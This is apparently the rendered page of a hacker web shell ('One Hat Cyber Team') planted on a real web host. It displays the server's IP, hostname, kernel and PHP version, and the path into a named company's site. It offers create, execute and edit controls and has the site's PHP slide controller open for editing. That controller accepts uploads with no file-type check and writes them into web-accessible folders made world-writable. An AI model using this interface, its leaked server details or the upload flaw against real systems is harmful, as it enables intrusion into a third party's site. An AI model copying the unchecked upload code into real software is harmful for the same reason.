One Hat Cyber Team
Your IP :
216.73.216.152
Server IP :
27.254.111.200
Server :
Linux wh-sh59.csloxinfo.com 3.10.0-693.5.2.el7.x86_64 #1 SMP Fri Oct 20 20:32:50 UTC 2017 x86_64
Server Software :
Apache
PHP Version :
5.5.38
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
vhosts
/
oakwine.co.th
/
httpdocs
/
controller
/
Edit File:
slideController.php
<?php SYS::DOMAIN("Slide"); $action = isset($_GET["action"]) ? $_GET["action"] : null ; switch ($action) { case "save" : if($_FILES["image"]["name"] != ""){ is_dir(CREATELINK::FILE("Slide")) ? null : mkdir(CREATELINK::FILE("Slide"),0777); is_dir(CREATELINK::FILE("Slide/image")) ? null : mkdir(CREATELINK::FILE("Slide/image"),0777); if(is_file(CREATELINK::FILE("Slide/image/$_FILES[image][name]"))){ $list = explode(".",$_FILES["image"]["name"]); $fileName = $list[0]."_".date("U").".".$list[1]; }else{ $fileName = $_FILES["image"]["name"]; } move_uploaded_file($_FILES["image"]["tmp_name"],CREATELINK::FILE("Slide/image/$fileName")); $_POST["image"] = $fileName; } $slideInstance = new Slide(); $_POST['dateStart'] = strtotime($_POST['dateStart']); $_POST['dateEnd'] = strtotime($_POST['dateEnd']); $_POST['eventDate'] = date("U"); $excute = $slideInstance->save($_POST); if($excute) { $slideInstance->lastRow(); header("location:?page=Slide/show&id=$slideInstance->id"); } break; case "update" : $slideInstance = new Slide(); $slideInstance->get($_GET["id"]); if($_FILES["image"]["name"] != ""){ is_dir(CREATELINK::FILE("Slide")) ? null : mkdir(CREATELINK::FILE("Slide"),0777); is_dir(CREATELINK::FILE("Slide/image")) ? null : mkdir(CREATELINK::FILE("Slide/image"),0777); $file = "Slide/image/".$slideInstance->image; is_file(CREATELINK::FILE($file)) ? unlink(CREATELINK::FILE($file)) : null; if(is_file(CREATELINK::FILE("Slide/image/$_FILES[image][name]"))){ $list = explode(".",$_FILES["image"]["name"]); $fileName = $list[0]."_".date("U").".".$list[1]; }else{ $fileName = $_FILES["image"]["name"]; } move_uploaded_file($_FILES["image"]["tmp_name"],CREATELINK::FILE("Slide/image/$fileName")); $_POST["image"] = $fileName; } $_POST['dateStart'] = strtotime($_POST['dateStart']); $_POST['dateEnd'] = strtotime($_POST['dateEnd']); $_POST['eventDate'] = date("U"); $excute = $slideInstance->update($_POST); if($excute) { header("location:?page=Slide/show&id=$slideInstance->id"); } break; case "delete" : $slideInstance = new Slide(); $slideInstance->get($_GET["id"]); $excute = $slideInstance->delete(); if($excute) { $file = "Slide/image/".$slideInstance->image; //is_file(CREATELINK::FILE($file)) ? unlink(CREATELINK::FILE($file)) : null; header("location:?page=Slide/list"); } break; } ?>
Simpan